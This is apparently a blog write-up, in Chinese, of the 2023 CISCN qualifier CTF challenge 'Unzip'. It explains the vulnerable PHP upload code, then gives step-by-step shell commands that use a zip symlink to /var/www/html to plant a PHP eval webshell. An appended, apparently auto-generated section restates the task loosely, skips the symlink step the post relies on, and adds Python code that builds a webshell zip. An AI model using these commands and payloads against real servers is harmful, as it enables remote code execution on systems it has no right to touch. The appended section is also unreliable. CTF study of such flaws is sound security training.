2023ciscn初赛 -- Unzip

参考资料:

奇安信攻防社区-2021深育杯线上初赛官方WriteUp-Web篇

Linux 命令之软连接详解linux 软连接LawsonAbs的博客-优快云博客

一个上传文件的页面

发现无论怎么上传,根据它的提示改了上传,还是显示这样

具体源码分析:

<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
//创建了一个文件信息对象finfo,用于获取文件的MIME
类型信息。FILEINFO_MIME_TYPE是一个常量,表示获
取MIME类型。
if (finfo_file($finfo,$_FILES["file"]
["temp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o' .
$_FILES["file"]["tmp_name"]);
//检查文件的MIME类型。如果上传的文件是ZIP文
件(MIME类型为application/zip),则将其解压缩到
服务器的/tmp目录,并且覆盖原文件。
};

 后面知道有这样操作:当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。此题上传的文件被保存到了/tmp目录下,而且没有require和include这种文件包含的点,因此无法直接执行上传文件里面的代码,因此这里考虑利用软连接,进行目录穿越,将文件上传到任意目录

软连接是linux中一个常用命令, 它的功能是为某一个
文件在另外一个位置建立一个同步的链接。软连接类似
与c语言中的指针,传递的是文件的地址; 更形象一
些,软连接类似于WINDOWS系统中的快捷方式。 例
如,在a文件夹下存在一个文件hello,如果在b文件夹
下也需要访问hello文件,那么一个做法就是把hello复
制到b文件夹下,另一个做法就是在b文件夹下建立
hello的软连接。通过软连接,就不需要复制文件了,相
当于文件只有一份,但在两个文件夹下都可以访问。

可以考虑软连接进行目录穿越的几个特征:

有文件上传接口,但是上传文件的目录不能确定
可以上传zip文件并且会将文件解压到上传目录下
可以getshell的文件可以绕过waf成功上传
此题符合几个特征,因此可以尝试此方法

先创建构造一个指向/var/www/html目录的软链接,因为html目录下是web环境,为了后续可以getshell

打包到到1.zip,对link文件进行压缩。

zip --symlinks,是在zip压缩文件中,包含符号链接
本身,而不是它们指向的实际文件或目录,也就是说当
解压缩这个zip文件,将得到符号链接,而不是它们指向
的实际文件

接着构造第二个压缩包2.zip

创建一个link目录(因为上一个压缩包里边目录就是link),

在link目录下写一个shell.php文件,文件中写入木马文

件,这里先写入phpinfo()进行测试

我们将1.zip 和2.zip 依次 上传,压缩包会被解压

当我们上传第二个压缩包时会覆盖上一个link目录,但是

link目录软链接指向/var/www/html解压的时候会把

shell.php放在/var/www/html下,此时我们就达到了

getsehll的目的。

 

思路可行,直接传马

这里发现了Linux的zip命令参数详解,直接用比之前试的方便

Linux的zip命令参数详解_zip参数_爱吃醋的坛子的博客-优快云博客

ln -s /var/www/html test #ln -s 源文件 目标文件

zip -y test1.zip test #-y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;

rm -rf test  #rm -rf 删除文件夹

mkdir test  #mkdir是make directory的缩写,Linux中 mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录。

cd test

echo '<?php eval($_POST[1]);?>' >a.php

cd ..

zip -q -r test2.zip test 
#使用zip来将文件夹test压缩为test2.zip
#-r代表 recursive,代表递归处理,将指定目录下的所有文件和子目录一并处理。
#-q代表 quiet,代表无声模式,不输出压缩时的具体细节。

直接命令执行或者连蚁剑即可

 

### 2023 初赛 Unzip 题目复现方法 在探讨2023初赛中的Unzip题目复现时,可以从以下几个方面入手: #### 一、题目背景分析 根据描述,在这道题目中,程序会进入`/tmp`目录并解压参者上传的文件。攻击目标是通过上传一个包含一句话木马的ZIP包实现远程代码执行(RCE)。然而,为了成功完成这一操作,需要解决的关键问题是确保解压后的文件能够被访问[^1]。 #### 二、技术细节解析 ##### 1. 文件路径控制 由于程序默认会在`/tmp`目录下运行,而此目录通常具有较高的权限限制以及短暂的生命期特性,因此需设计一种机制使得解压后的恶意脚本能够在指定位置被执行或者持久化存在以便后续利用。 ##### 2. 利用技巧说明 - **绕过访问限制**:如果服务器端未正确配置安全策略,则可能允许用户自定义解压缩的目标路径。此时可以通过构造特殊命名结构的ZIP档案来突破常规约束条件。 - **无工具环境下的验证手段**:当面对缺乏常用命令行工具如`curl`的情况时,可考虑采用其他方式确认漏洞触发状态,比如监听外部网络连接请求或是观察特定资源变化等替代方案[^3]。 #### 三、实践案例分享 下面给出一段简单的Python代码用于生成含有WebShell功能的ZIP文档作为演示用途,请注意实际竞环境中应严格遵循比规则与道德规范! ```python import os import zipfile def create_webshell_zip(output_filename, shell_content): with zipfile.ZipFile(output_filename, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('index.php', shell_content) if __name__ == "__main__": web_shell_code = "<?php @eval($_POST['cmd']); ?>" output_file = "malicious.zip" create_webshell_zip(output_file, web_shell_code) print(f"[+] Webshell ZIP created successfully: {output_file}") ``` 上述脚本创建了一个名为`malicious.zip` 的存档文件,其中包含了PHP类型的WebShell代码片段。将其提交至目标平台后,理论上即可达成预期效果。 #### 四、总结建议 对于此类CTF挑战而言,深入理解服务端行为模式至关重要;同时也要善于运用各种编程语言特性和操作系统交互原理发掘潜在突破口。此外,持续积累实战经验并通过高质量的学习材料巩固理论基础同样不可或缺[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值